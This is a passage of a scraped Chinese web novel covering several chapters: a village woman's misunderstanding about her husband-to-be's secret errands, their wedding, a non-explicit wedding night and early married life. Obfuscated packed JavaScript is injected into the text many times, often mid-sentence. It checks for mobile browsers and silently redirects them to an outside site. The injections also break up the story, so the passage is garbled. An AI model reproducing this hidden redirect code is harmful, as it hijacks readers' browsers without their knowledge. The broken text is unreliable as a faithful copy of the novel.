RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13705238|144484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这尺寸、样式可都是你男人亲自设计的,盯着我绣房的绣工改了又改才做出来的,在镇上绝对是绝无仅有的一件。” 苏禾被巨大的惊喜冲昏头脑,先是感动落泪,到现在只剩满心欢喜。 哪个女人不期待自己的嫁衣呢,那嫁衣耀眼得让人移不开视线,好看到她都有些自惭形秽,觉得自己配不上它了。 “喜欢吗?” 男人低沉的嗓音从头顶传来,苏禾忙不迭点头,那可是他送给她的嫁衣啊,她有什么理由不喜欢! 褚千辞见状,也满意了,难为他天天像做贼一样往成衣店跑,但还是会有些微微的遗憾。 他本来打算在那个属于他们两个人的小家,将嫁衣呈现在她的面前,她的喜怒哀乐只有他一个人能感受得到。 他会让她穿上嫁衣,试试合不合身,再亲手给她梳妆,她的所有只能他看到。 但是,现在都没了。 想到这儿,褚千辞 不禁生出一些幽怨和怒气,眼神凉凉地扫视了一眼带苏禾来抓奸的嫂子。 那嫂子在看清这一切后,知道自己误会了,还是误会大了,无地自容,要是地上有个洞,她早就钻进去了。 被褚千辞凉凉地扫视一眼,她胆战心惊,腿都有些哆嗦。 苏禾家这个相公太可怕了,还是以前憨傻憨傻的时候好相处,现在,总感觉他和他们不是一个阶层的人,压迫感太强。 她讪讪笑着,连声道歉:“大兄弟不好意思,我就是前几天看到你和这个大妹子走得近,胡思乱想闹了一个大笑话,真的太对不起了......” 她语气有些慌乱,说话都有些结巴,生怕这个男人抓着不放。 苏禾见状,忙扯了扯男人的衣摆,让他不要那么吓人。 “嫂子,这事儿不怪你,我知道你也是为我好,他就是看着吓人,但其实不会记在心上的。” 被苏禾解围,嫂子都快哭出来了,她还怕小姑娘嫌她乱说话,败坏她男人名声呢。 最终,嫂子在给褚千辞和成衣店老板娘道歉后,就逃一般跑着回家了。 第114章 现在还怀疑我吗? 解决了这个大乌龙,苏禾和褚千辞也回家了,褚千辞怀里抱着装嫁衣的盒子。 这件嫁衣已经做了好几天了,今天正好完工,他想着去店里拿回家,但被提前撞破了。 苏禾到现在脑子还稀里糊涂的,总觉得有些不真实,一会儿开心地傻笑,一会儿又不知道在想些什么,眉头都皱得紧紧的。 回到家中,褚千辞径直进屋,将嫁衣盒子给放下,也不看身后跟着的小姑娘,满脸写着我不开心地坐在了椅子上。 苏禾就像一只跟屁虫,见男人不开心了,虽然想不通他为什么不开心,但还是跟上去询问情况。 可谁知,还不等靠近男人身边,就被男人“训”了。 男人声音冷沉,板着一张脸,如同训小兵一般发号施令:“站住。” 苏禾也不知道自己为什么会这么听话,在男人的指令发出后,她立马就定住了脚,站得规规矩矩,像做错了事,等待家长批评的小孩。 褚千辞凝眉注视着她,苏禾被看得心慌意乱,那颗脑袋也越来越低。 就在这时,男人又发话了:“抬头挺胸!” 那声音,越听越像练兵,可是奈何小姑娘听话呢,立马站得笔直,手都贴着大腿,抬头挺胸,但那视线却飘忽不定,不敢与跟前的男人对视。 褚千辞见这么怂唧唧的小姑娘,心里已经笑出声了,怎么会这么可爱呢! 但是面上他却装得一脸深沉,语气颇为低落又生气地质问:“苏禾,你不信我,觉得我是那种会在外面乱来,花天酒地的男人?” 苏禾一听他连名带姓地叫自己,心里慌得不行,她就说,她犯了这么大的错误,他怎么可能会不生气,只是在外面给她面子,不想把事情闹大罢了。 她弱弱地为自己辩驳,刚才还挺着的小脑袋,现在又耷拉下去:“没有......” 她也搞不清楚自己到底是信他还是不信他,她在心底一遍又一遍地告诫自己,他不会抛弃她,可是在察觉到那些异样,以及听到隔壁嫂子的话时,她还是控制不住心慌了。 这一切最根本的原因大概是因为自己不够自信吧,她心底总是有一个声音在告诉她,她这么普通,有什么资本能留住这么好的男人呢。 她觉得,他应该配最好、最优秀的姑娘,而不是她这种大字不识几个的小农女,但心里的不甘却又让她不想放手,享受甜蜜的同时,又有无数的焦虑折磨着自己。 爱一个人的表现,在一些人身上会体现为热烈、大胆、奔放,喜欢便去追逐,可是在她身上,却是自卑、怯懦,担心自己太普通、太平凡,配不上那个天之骄子一般的他。 褚千辞见小姑娘畏缩的样子,有些于心不忍,但是小媳妇,该教育的时候还是要教育的! 他硬着心肠问道:“既然你说没有,那为什么还会跟去店里,为何在看到我和老板娘说话的时候,一脸失魂落魄?” “还有,是什么让你觉得,我会在外面养女人?” “抬头看着我的眼睛,你有什么想法、什么感觉都可以和我说,不要唯唯诺诺地低着头。” 或许此刻他是霸道的,可是他觉得只有这样的霸道,才能让小姑娘彻底明白,她于他而言的意义。 他不是一个重女色的人,和他身份相当、年龄相仿的那些王公贵族,早已经妻妾成群,孩子都有好几个了。 可他却未曾有过一妻一妾,也不曾和哪个女人走得近,因为他不曾遇上一个让他动心的人。 他的母妃曾经和他说过,愿得一人心,白首不分离,希望他能找到一个和他灵魂契合、共度余生的人,而不是像她一样被困在深宫一辈子。 他一直记着这句话,在外人看来,他不近女色,甚至有传言说他是断袖,说他好男色,可只有他自己知道,他只是想对自己负责,对自己未来一半负责。 他希望自己是以干净、赤忱的状态去和另一半共度余生,遇上苏禾是一个意外,但是他能肯定,他对她是动心的,是喜欢的, 或许他不是外人眼中的才女、美女,但对于他来说,她就是最好的,她的善良、她的坚韧,就连脆弱时的难过委屈都吸引他! 苏禾被他问得不知该如何回答,组织了好一会儿语言才道:“最近你总是神神秘秘的出门,问你去干嘛你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13705239|144484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是敷衍地回答,我心里有些不安,你以前不是这样的。” “还有,我在你身上闻到女人的脂粉味儿,就有了些不好的猜测,然后今天嫂子又过来和我说看到过两次你和一个陌生女人走得近,所以......” 她越说越小声了,到最后几乎听不到声音。 褚千辞见小姑娘终于将心底憋着的话说出来,立马不装凶了,站起身,走过去,将她抱了起来,然后抱着她坐在椅子上,让她坐着自己的腿。 他搂她搂得很紧,宽阔温暖的怀抱让刚被“训”完的苏禾有些想落泪,委屈的靠在他怀里。 褚千辞摸着她的脑袋,像极了哄小孩:“以后你心里不舒服了,或是有什么事情想不通了,要第一时间和我说。” “就像你在我身上闻到陌生的脂粉香,可以直接问我去哪儿沾染上的,而不是自己一 个人胡思乱想。” 他之前也没注意到自己身上染上了脂粉味,应该是去成衣店的绣房里是沾上的,里面都是些女绣工,擦脂抹粉耳的不在少数。 “不过,这次也是我不好,我本来想给你一个惊喜,没想到让你误会了,我以后不会了,去哪儿、去干嘛,一定会和你说清楚。” 他的话很有分量,在给着怀里这个自卑不安的小姑娘底气。 苏禾听着他的话,心里暖呼呼的,等他说完,她又想起了一件很委屈的事。 她嘟嘟囔囔,委屈巴巴:“那你为什么最近都不亲我,也不摸我了?” 说出这话,她有些羞耻,但不可否认,问出来后,她就觉得心里松快了很多。 她羞耻又委屈,还在等着男人的回答,可是猝不及防,眼前一黑,唇就被吻住了。 数日来不曾亲吻过,男人的气息很急切,很炽热,苏禾被吻得差点喘不过气,最后也忘了自己在质问他,只迷迷糊糊的回应着、享受着。 漫长的一吻结束,小姑娘脸红扑扑的,嘴唇上亮晶晶,眼神迷离,气息微喘。 褚千辞抱着她的手臂紧了紧,让她感受到他身上的炽热和坚硬,声音沙哑着在她耳边呢喃:“现在还怀疑我吗?” 第115章 别勾引我 苏禾感受着屁股下面火热的一团,脸烧得快要燃烧了,可男人的话还在继续。 “娘子,我忍不住了,我们快点成亲好不好?” 他当然想亲她、拥有她,但他想给她一个完整的仪式,三书六礼、洞房花烛。 每晚拥着小姑娘入眠,对他而言是一个甜蜜的折磨,他怕情到浓时自己会控制不住,只能先忍耐着不碰她。 他出门去接一些打打杀杀的任务挣钱,不想让小姑娘担心,便瞒着她。 给小姑娘挣够了彩礼,再马不停蹄地去找绣房订制嫁衣,他迫不及待的想将小姑娘给娶到手,却没想到,他的克制隐忍,却被小姑娘误会了。 苏禾明白了他所有的意思,心里哪儿还有半点的怀疑,只有浓浓的感动。 她将脸埋进他怀里,乖巧应答:“好。” 褚千辞挑眉,唇角绽放笑意,可耳边却又听小姑娘软软地道:“其实,我什么时候都可以的。” 明目张胆的邀约,褚千辞呼吸瞬间急促了,小丫头这是想要了他的命! 他努力平复着,轻轻拍了小姑娘的屁股一巴掌,无奈道:“别勾引我!” 苏禾抬眸,娇嗔地瞪了他一眼,然后又靠近他怀里,上扬的唇角怎么也下不去。 两人腻歪了许久,苏禾的视线转移到了桌上摆放着的装嫁衣的盒子上,有些羞赧,又有些期待地想仔细看看那件嫁衣。 在成衣铺子时惊鸿一瞥,并未仔细看真切,只要想到她要穿着这身火红的衣裳嫁给她喜欢的男人,苏禾的心就像着了火一般。 她走到桌前,把盒子打开,嫁衣叠得很整齐,手抹上去,软软的,滑滑的。 褚千辞也走到她身后,搂着她纤细的腰:“穿上试试?” 苏禾耳根一红,轻轻点了点头,抱着嫁衣走到床边,想要脱衣服,可是屋子里的男人却没有要出去的意思。 她看向他,眼神里有疑惑,似在问他为何还不出去。 褚千辞看小姑娘呆头呆脑的样子就想逗逗他,径直在椅子上坐下,姿态懒散,目光灼灼地看着床的方向。 “我看着你换。” 那样子像个调戏姑娘的登徒子,可是配上他的容貌和仪态,却也赏心悦目得紧。 苏禾羞恼地瞪了他一眼:“你看着我,我怎么换,赶紧出去!” 褚千辞还一副无赖样,嘴角上挑:“我们都睡一张床了,有什么不好意思的,再说了,我不也早就被你看光、摸光了吗?” 苏禾脸红得要冒烟,见他耍赖,她干脆也摆烂,一屁股坐在床上,气鼓鼓地:“你不出去,那我也不换,我们俩耗着,看谁最先投降!” 褚千辞笑意更深了,但也见好就收,再逗下去,小姑娘就要生气了。 他起了身,走出屋外,还帮苏禾将门给关好了:“我认输,我投降,娘子好生换衣服。” 屋里的苏禾无奈地摇了摇头,在外人面前能冰冻三尺的男人,回到家怎么就像个小孩儿一样呢。 怀着忐忑和期待,她将身上的衣服褪去,穿上了嫁衣,她从来没穿过这么艳丽的衣裳,穿上的一瞬间,心里有一种别样的情绪。 这或许就是每个女孩都期待属于自己的嫁衣的感觉吧。 她有些鼻酸,还有些感动,剩下的全是高兴。 褚千辞在房门外站着,等着屋里的小姑娘开门,他也是期待的,他想看他的娘子穿上他亲手准备的嫁衣的样子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13705240|144484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 虽然成亲的时候可以看,但是他迫不及待,等不到那时候。 等不到小姑娘开门,他有些焦躁,脑子里想着无数种小丫头穿上嫁衣的样子,刚压下去不久的燥热又有些蠢蠢欲动。 终于,在他忍不住要敲门时,房门被从里面打开了。 门口出站着的小姑娘,一身艳红的嫁衣,将皮肤都衬得粉嫩,嫁衣的尺寸刚好,小姑娘穿着很合适,秀丽端庄,明艳动人。 褚千辞的目光在她身上移不开,心里油然而生起一股激动和欣喜,他的小姑娘,要穿着嫁衣嫁给他了。 苏禾穿着嫁衣被他打量,有些许的别扭,感受到他炽热的目光,她含羞胆怯地抬眸,声音很软:“好看吗?” “好看。” 褚千辞的嗓音有些许沙哑,不带一丝犹豫地给了答案。 艳丽的嫁衣和苏禾朴素的发饰有些许不搭,褚千辞有些许的遗憾,他给小姑娘定制了头面,但还没做好,不然今日也可以让小姑娘试一试头面。 ...... 傍晚,隔壁的店铺老板大哥带着媳妇儿来给褚千辞道歉了,那位大哥听说自家媳妇带着人家娘子去抓奸,最后闹了个大笑话的事情后,当即就坐不住了,准备礼品来道歉。 这事儿说大不大,但说小也不小,两口过日子,最怕的就是互相猜忌怀疑,要是他们两口子能将误会说开了,好好过日子自然是最好的。 但他们要是因为这个误会,互相心里生了嫌隙,日子过不下去,那他媳妇儿的罪过可就大了! 宁拆十座庙,不毁一桩婚,坏了人家的姻缘,这可是缺德的大事。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第116章 娘子,我来娶你了 九月二十六,吉,宜嫁娶。 今天,苏禾要出嫁了,完成这个成亲仪式,她以后就是名正言顺的顾苏氏,是顾珩川的妻子。 两人宴请了邻居好友,在家中摆酒席,再在他们的见证下拜堂,仪式便算完成了。 一大早天还没亮,和苏禾交好的那些嫂子大娘们就上门来为她梳妆了,而褚千辞则是被赶出房门外,晚上揭盖头前,别想看到新娘子的脸。 屋里,苏禾沐浴后换上了嫁衣,旁边围着的一圈嫂子大娘看着她的嫁衣直羡慕。 这嫁衣是真的好看呐,他们当年成亲,好一点的穿细棉布做的衣裳,也就一身红,上面绣两朵花。 日子难过一点的,连嫁衣都是从母亲那一辈传下来的。 “小顾对你这丫头可真好,我当年怎么就没遇上个这么好的人呢,我家那口子和小顾比起来,简直就是一个天上,一个地下!” 一个大娘嘴巴巴地说着,其他的大娘和嫂子也跟着她一起吐槽自家男人,气氛很是热闹。 但吐槽归吐槽,他们相比较其他女人,已经过得很幸福了,所以即使嘴上吐槽着,脸上却都是笑意。 苏禾被她们打趣得脸蛋红扑扑的,嘴上不说,但心里却是附和她们的说法,顾珩川是全天下最好的男人! 一群女眷一边说笑着,一边给苏禾上妆,一个嫂子手巧,会盘头发,给苏禾盘了一个镇上很流行的发型,再戴上褚千辞给买的那一套头面。 薄薄的脂粉将苏禾本就白皙的皮肤衬得更加的白,红唇似火,只是脸上那个突兀的胎记让苏禾有些遗憾,若是没有这个胎记该多好。 遗憾之际,脑子里闪过一个想法,苏禾拿起了一根极细的毛笔,沾了胭脂在脸上的胎记处细细描摹。 因为这段时间在刻苦地练字,她运笔已经很熟练,按照心里的想法,在脸上涂涂画画,不一会儿,一朵花的形状便在脸上展现。 红色的胎记上画了一朵牡丹花,胎记的颜色变成了牡丹的底色,画好了牡丹,再用闪粉在线稿上细细描摹。 待完成之时,苏禾脸上那块显眼奇怪的胎记已经变成了一朵热烈盛开的牡丹,而她也像是一朵含苞待放的花朵。 一群女眷都看呆了,没想到还能在脸上作画,画出来跟个仙女一样。 一个嫂子打趣说苏禾像花仙子,其他几个有女儿的大娘也说等她们闺女出家的时候,让苏禾也帮忙在脸上画一朵花。 屋内的女人们说说笑笑,而在院中的褚千辞则烦躁地踱步,很想推开门进去看看他的小姑娘梳妆打扮后的样子。 来的宾客不算多,都是熟人,褚千辞到酒楼里请了厨子来帮忙掌勺,其他的客人都在喝茶聊天,他并不忙。 但一闲下来,就觉得心痒难耐,太阳还没完全升起,他就已经迫不及待地想快点到晚上了。 宋绀宇也来了,他是褚千辞为数不多在这个小镇上能说得上话的朋友。 宋绀宇见他一副魂不守舍、心浮气躁的样子,好笑地打趣:“顾大哥,你和我小嫂子朝夕相处,也不差这一天的时间,用得着这么着急吗?” 褚千辞眼神冷冷的扫视了他一眼,语气中带着蔑视:“单身狗懂什么!” 宋绀宇凝噎,他就不该犯这个贱! 这个大哥脑子没恢复的时候就能将人呛得说不出话,现在恢复了正常,嘴更毒了! 他讪讪笑着:“好,祝你和嫂子百年好合,我这个单身狗不配。” 两人互怼着,褚千辞的日子倒也没那么难熬了,只是在场的一些宾客的眼神却挡也挡不住地往他身上瞟。 原因无他,他穿上喜服的样子太耀眼了! 头发高束,佩戴银色镂空雕花发冠,剑眉星目,气宇轩昂,一身红色喜服,让他显得贵不可攀。 女宾客被他的外貌吸引,而男宾客则是暗中较劲,同样是男人,为什么人家就长得人模狗样,他们就歪瓜裂枣呢? 老天爷不公平! 就连小孩子也喜欢看新郎官,这是他们见过最好看的人了! 一个软乎乎才三岁多的小女娃走到褚千辞身边,小手拽住了他的衣裳,褚千辞低头,就看到小姑娘满眼星光地看着他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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话说出口时他才发现他的嗓音有些嘶哑,原来他早已期待成这样了。 一瞬间,苏禾的眼圈红了,这句“我来娶你了”是她听过最好听的情话。 第117章 有这么猴急吗? “新娘子出门喽!” 一个嫂子高呼,场面很是热闹,宾客、孩子都围在门口,兴致勃勃地看着屋内的新娘子。 褚千辞在人群的注目中走进了房间,一个婶子递上用红绸做成的大红花,两个新人一人拉一头,苏禾被褚千辞牵引着走到了拜堂的厅堂。 一拜天地,二拜高堂,夫妻对拜...... 褚千辞和苏禾在众人的见证下拜完了三拜,成为了名正言顺的夫妻,苏禾的视线被红盖头遮挡住,她很想看看穿上新郎服的男人,他那么好看,穿上喜服一定更好看了。 但在未掀盖头前,她只能强压着自己心里的这份期待,而褚千辞的目光,则是毫不遮掩的盯着眼前的这抹倩影。 他的小姑娘,穿着他亲手为她挑的嫁衣,嫁给了他! 他的眼神温柔得像要滴水似的,目光灼灼,温柔缱绻,宾客们捂嘴偷笑,笑他太不矜持,他耳力那么好,当然听到了,但就算听到了,又如何,他还是不会改变。 拜堂仪式结束后,苏禾被送进了喜房,乖巧的坐在床上等着男人回来,屋外的宾客们已经吃上了酒席,褚千辞规规矩矩地给宾客敬酒,殊不知他的心早已飞到屋里等着他的小姑娘身上了。 他的气势太强,没有人敢灌他酒,宾客们都老老实实的吃饭,但宋绀宇就不一样了,只有他那混不吝的性子敢在褚千辞面前蹦跶。 带着赌坊和善堂的几个管事给褚千辞灌酒,他笑嘻嘻,而其他几个管事则是苦哈哈,灌酒的同时已经想好他们要埋在哪里了。 宋绀宇敢跟这位爷胡闹,他们可不敢啊,当初他血洗赌场的场面还牢牢印刻在他们脑子里,要不是他们投降投得快,也早就变成个孤魂野鬼了。 褚千辞被缠得不耐烦,看向宋绀宇那欠揍的贱样,很想踹他两脚,但今日成亲,不宜动手,他只能忍住了,又喝了宋绀宇递过来的一杯酒。 等着,今日过了,看他不收拾他! 宋绀宇也是拿准了今天他不会和自己动手,所以在褚千辞的底线上仿佛横条。 “珩川老兄,来来来,再喝一杯,祝你和我小嫂子琴瑟和鸣,早生贵子!” 他那张嘴,敬一杯酒换一句祝福的话,都要说出花来了,等一番话术说完,褚千辞早已十多杯酒下肚了。 亏得他还算不错,要是个酒量差的,早就被灌趴下了,还怎么见新娘子,还怎么洞房! 闹闹嚷嚷了一天,宾客们饭饱茶余,陆续离去,小院终于恢复了平静。 褚千辞身上沾上了浓重的酒气,虽然没醉,但那味道也着实不好闻,想到还在房中等他的小姑娘,他的脸色有些许不好看,又给宋绀宇记了一笔。 走进房中,看到乖巧坐在床上,还盖着盖头的小姑娘,他的脸色又柔和下来,快步走了过去。 他们两人家室特殊,没有父母亲人,也没有个使唤下人,所以此时房中除了两人便再无他人。 褚千辞心中有些灼热,伸手慢慢掀开了盖头,入目,小姑娘水灵灵的眼睛抬头注视着他,像小鹿一般纯澈干净。 她化了妆,肌肤雪白,嘴唇艳红,脸上的胎记巧妙地画作一朵盛开的牡丹花,整个人美艳动人。 褚千辞看呆了,喉结微微滚动,好一会儿才声音嘶哑道:“娘子,你真好看。” 苏禾被他盯得有些羞赧,再听他这么说,便更加羞涩了,垂眸,不敢再看他。 他穿喜服的样子印在了她的心底,和她想象的一样好看,不敢与他对视,但小眼神却若有若无地往他身上瞟。 小姑娘羞涩动人的样子勾得褚千辞心痒痒,那被压抑已久的欲望在一瞬间爆发了。 他深呼吸,努力平复:“你先吃点东西,我去洗澡。” 苏禾点头,见他步履极快地出门去,有些好笑,若用两个字来形容此时的他,那大概就是猴急吧。 可一想到今晚要发生的事,她的脸又不受控制地红了起来,期待又羞涩。 她坐在桌前吃东西,男人没一会儿便回来了,头发上滴答着水,还换了一身衣裳。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13705242|144484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他的动作实在太迅速,在吃东西的苏禾连咀嚼都忘了,嘴里含着食物,一脸不敢置信地看着他。 真的有这么急吗? 迎上小姑娘探究的目光,褚千辞不自在地将头转向另一边,干咳一声,缓解尴尬。 好像他的动作确实太快了些,会不会吓到小姑娘? 两人心思各异,一个在担心吓到人,一个在想果然是将他给憋坏了,看给他着急的! 苏禾往嘴里塞饭菜,腮帮子都鼓起来了,吃着吃着不由出了神,回想起那些嫂子婶子们教她的洞房技巧。 一想,一张小脸通红。 褚千辞看小姑娘愣着出神,脸色一会儿红一会儿白,嘴里还嚼着饭菜,那模样活像一只小松鼠,不免觉得有些可爱。 他在桌前坐下,摸了摸她的鼓鼓的笑脸,笑着问道:“想什么呢,这么认真?” 苏禾正想着和他酿酿酱酱那档子事儿,突然被男人抓包,一张小脸瞬间涨成了猪肝色。 这种反应,褚千辞如何能猜不到她在想什么,打趣道:“原来娘子也这么期待 ?” 苏禾被他说得不好意思,小眼神含羞带怯地瞪他:“你才期待呢!” 褚千辞挑眉,神色慵懒:“我的确挺期待的。” 苏禾被他的厚脸皮给噎住得无语了,又往嘴里塞了一大口饭菜,心里暗暗想着,她得吃饱一点,今晚就榨干他,让他不敢再取笑自己! 将肚子给填饱了,苏禾没了事情可以转移注意力,突然间就紧张起来,两人挨得极近,她都可以感受到他身上散发着的灼热。 她吞了口口水,打破有些暧昧的气氛:“我去洗个澡。” 说着便站起身,可是男人却伸手将她拦下:“你不是早上才洗过,现在不用洗。” 苏禾紧张捏手手,是早上洗过没错,她一整天都坐着,也没出什么汗,但她实在找不到其他事来转移注意力了。 外面太阳还没完全落下山呢,总不能天还不黑就做那事儿吧? 第118章 她能活到今早是个奇迹 褚千辞知道她紧张,看了眼外面的天色,压下欲火:“我去给你打水。” 如果洗澡可以让小姑娘缓解紧张的话,就随她去吧,她和他的第一次,他想给她一个完美的体验。 浴桶里放了热乎乎的洗澡水,苏禾褪去衣裳和头上的珠钗簪子,泡进了水中,仔细地洗着身上的每一个地方,水里还放了精油,香喷喷的。 在水里磨蹭了许久,直到太阳完全下山了她才出来,身上都被泡得粉嫩嫩的,脸蛋也被热气蒸得红扑扑。 她头发披散着,穿了一身宽松的中衣出了浴房,微微有些扭捏地走到了床边,褚千辞已经坐在床上,目光直勾勾地盯在她身上。 她坐到床上,头发还没干,褚千辞拿了块帕子给她擦头发,他有内力可以帮小姑娘烘干头发,但是他更喜欢帮她擦头发时那种亲密的接触和互动。 他轻柔地帮她擦着头发,手指若有若无的触碰到她的脖子,肩膀,一触即离,虚幻缥缈。 苏禾只觉得被他触碰到的地方好像着火了一般,热热的,暖暖的,想要更深一步的触碰,可那只大手却又离开了她。 这样若有若无的撩拨,让她的心底也升起来一抹邪火,那漫长的擦头发过程变得格外煎熬。 褚千辞看着小姑娘的耳朵逐渐爬上红晕,唇角微勾,继续撩拨着,直到,一只小手抓住他的手腕。 小姑娘纤细白嫩的小手搭在他结实有力的手腕上,她仰眸,眼神水光潋滟,用几乎听不到的声音嗫嚅道:“别擦了,我们睡吧。” 说完,她脸色红得要滴血,心里思绪万千,顾珩川不会觉得她是个急色鬼吧。 褚千辞觉得缩着脑袋装鹌鹑的小姑娘实在太可爱,本来想逗弄一下的心思也没了踪影,无他,只是舍不得。 那么乖的小姑娘鼓足勇气才敢说出那句话,他哪儿舍得再逗她。 他将手中的帕子放下,搂住苏禾的肩膀,温柔得不像话:“好。” 苏禾局促紧张,尽管心里已经过了好几遍她的“军师”们教给她的技巧,但等上战场的时候,什么都忘了。 她脑子空白,只跟随着褚千辞的步伐走,揉圆捏扁,任由他处置。 褚千辞搂着小姑娘,将她放在床上,紧接着便附身,吻上那一张柔软的樱桃小口。 两人交缠,身上的衣服逐渐滑落,褚千辞将头埋在小姑娘颈间,少女的体香和精油的香味交织,让他沉醉。 “娘子,你真香。” 他眼神迷离陶醉,带着微喘呢喃,气息喷洒在苏禾身上,将她烫得一哆嗦。 屋外是漫漫长夜,天空明月高悬,屋内弥漫着浓郁春色,低喘、娇吟,声声不息。 ...... 天明时分,房门推开,褚千辞神清气爽地伸了个懒腰,脸上挂着畅快满足的浅笑,洗漱一番后便出门去给苏禾买吃的。 他那仅限于将食物煮熟的厨艺还是算了,不想让小姑娘的胃遭殃,昨晚将她累坏了,还是要吃点好的补补。 到粥铺里买了一锅煮得软烂香浓的皮蛋瘦肉粥,见街上有卖糖葫芦,他不由想起了还是个傻子的时候,小丫头总会给他买。 那时候没钱,她只舍得买一串,说自己不喜欢吃,他那时候傻,信了,可现在想起来,心情像这糖葫芦一样,酸酸甜甜的。 怎么会有这么好的小丫头呢,宁可苦了自己,也要给他这个捡来的、和她毫不相干的傻子买零嘴。 而那么好的小姑娘,成了他的妻子。 这么想着,褚千辞的心情格外的好,买了两串糖葫芦,从今以后,他的小姑娘有他宠着,不必再委屈了自己。 回到家中时,轻轻推开房门,床上小小的身影缩成一团,还睡得正香。 褚千辞走近,摸了摸苏禾的脸,眼睛还有些红肿,昨晚哭得太狠了。 他心疼地摸了摸,然后温柔地叫小姑娘起床:“娘子,起床了,先起来吃点东西再睡好不好?” 被打扰睡觉的苏禾不满地皱眉,嘟囔一声,扯过被子将自己紧紧裹住,不想理会那个聒噪的人。 她真的太累、太困了,就是天王老子来了,她也要睡觉! 见自己被嫌弃了,褚千辞无奈笑笑,掀开苏禾的被窝,将她搂在怀里,端起手边的粥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏禾想得出神,自己都没觉她的一双耳朵通红,脸上还带着些许笑意,那模样就像怀春的少女在思念远方的情郎。 褚千辞看得好笑,又给她喂了一勺粥,无奈道:“好好吃饭,想什么呢,想得这么美?” 苏禾的思绪被拉回,嘴里含着一口粥,抬眸又瞪了他一眼,那小眼神,像带小勾子一样勾得褚千辞心里痒痒的。 “在这样勾引我,我可不能保证接下来会发生什么。” 他说着掐了一把小姑娘的脸蛋,结果换来苏禾更凶狠的小眼神,一早上的功夫,两人就这么腻腻歪歪的过去了。 ...... 成亲已经十来日了,褚千辞觉得这几天的时光,是他二十六年来从未体会过的快乐。 天亮时跟小姑娘一起经营面馆,天黑时再搂着小姑娘睡觉,做一些只有他们两人才能做的事。 时至今日,他终于明白为何母妃郁郁而终时对他说的”愿得一人心,白首不相离“这句话的含义。 他会和小姑娘一辈子在一起,幸福地生活下去,不会布母妃的后尘,不会像她一样面对一个不喜欢的男人,困苦一辈子。 而相比较褚千辞的幸福快乐,苏禾却觉得自己既甜蜜又痛苦,为何痛苦?还不是那男人太过热情,只要她身体条件允许,他每晚都拉着她运动,有时连白天都不放过,简直就是白日宣淫! 但是吧,要说很痛苦好像也不是,毕竟她也挺享受的,就是每次借书她都累得手软脚软,而男人却神清气爽,这让她很不爽。 明明出力气的都是他,怎么就不见他累趴下呢,太不公平了! 苏禾越想越气,决定要给自己扳回一程,将男人给榨干,看他还敢精力那么好! 箱子底有两块压箱底的布料,因为料子特殊,一直没用上,苏禾翻箱倒柜将它拿了出来。 是一块洁白的绸缎还有一块红纱,布料面积不大,是以前到布庄买布料时,买得多,老板给的搭头。 苏禾想拿这两块布做身衣裳,虽然脑子里已经有了式样,可是真要将它做出来,她心里羞涩得紧。 但一想到要在床上压男人一头,她又鼓起勇气,将衣裳给做了出来。 说是衣裳,其实就是一块布,花不了多少功夫就可以做好了,她将那块轻薄的布料摊在床上,越看越羞涩,脸都红扑扑的。 天渐渐黑了,褚千辞烧好了热水,来唤苏禾洗澡,苏禾忙将床上那块羞耻的布料藏起来,把男人轰去洗澡。 褚千辞见她神色略微慌张,有些不解:“以往不是我们两个一起洗的吗?为什么今晚要赶我一个人去洗?” 苏禾的脸颊有些发烫,不禁回想起他俩一起洗澡的画面,那哪儿是洗澡,分明就是换地方运动! 今晚不行,她要给男人一个惊喜! 她羞臊着将男人往浴房的方向推:“你快去,我今晚不想和你洗!” 